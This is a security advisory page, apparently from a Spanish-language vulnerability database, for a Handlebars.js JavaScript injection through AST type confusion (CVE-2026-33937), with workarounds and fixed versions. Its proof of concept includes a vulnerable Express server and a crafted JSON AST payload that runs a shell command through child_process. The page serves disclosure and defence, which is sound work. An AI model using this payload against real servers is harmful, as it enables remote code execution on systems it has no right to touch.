Handlebars.js has JavaScript Injection via AST Type Confusion
Summary
Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.
Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.
Proof of Concept
Server-side Express application that passes req.body.text to Handlebars.compile():
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
let text = req.body.text;
let template = Handlebars.compile(text);
let result = template();
res.send(result);
});
app.listen(2123);POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123
{
"text": {
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
]
}
}The response body will contain the output of the id command executed on the server.
Workarounds
- Validate input type before calling
Handlebars.compile(): ensure the argument is always astring, never a plain object or JSON-deserialized value.jsif (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build (
handlebars/runtime) on the server if templates are pre-compiled at build time;compile()will be unavailable.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | handlebars | >= 4.0.0, < 4.7.9 | 4.7.9 |
Referencias
- https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q
- https://nvd.nist.gov/vuln/detail/CVE-2026-33937
- https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2
- https://github.com/handlebars-lang/handlebars.js
- https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-843, CWE-94- Plataforma
- npm
- Paquete
handlebars- Publicada
- 27.03.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-2w6w-674q-4c4q - CC BY 4.0
Historial de vulnerabilidades: handlebars
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 22
- Primera → última
- 10.2018 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 6
- Alta 10
- Media 5
- Baja 1
Divulgaciones por año
- 2018: 1
- 2019: 2
- 2020: 4
- 2021: 1
- 2022: 3
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 11
-
Handlebars.js has JavaScript Injection via AST Type Confusion esta entrada
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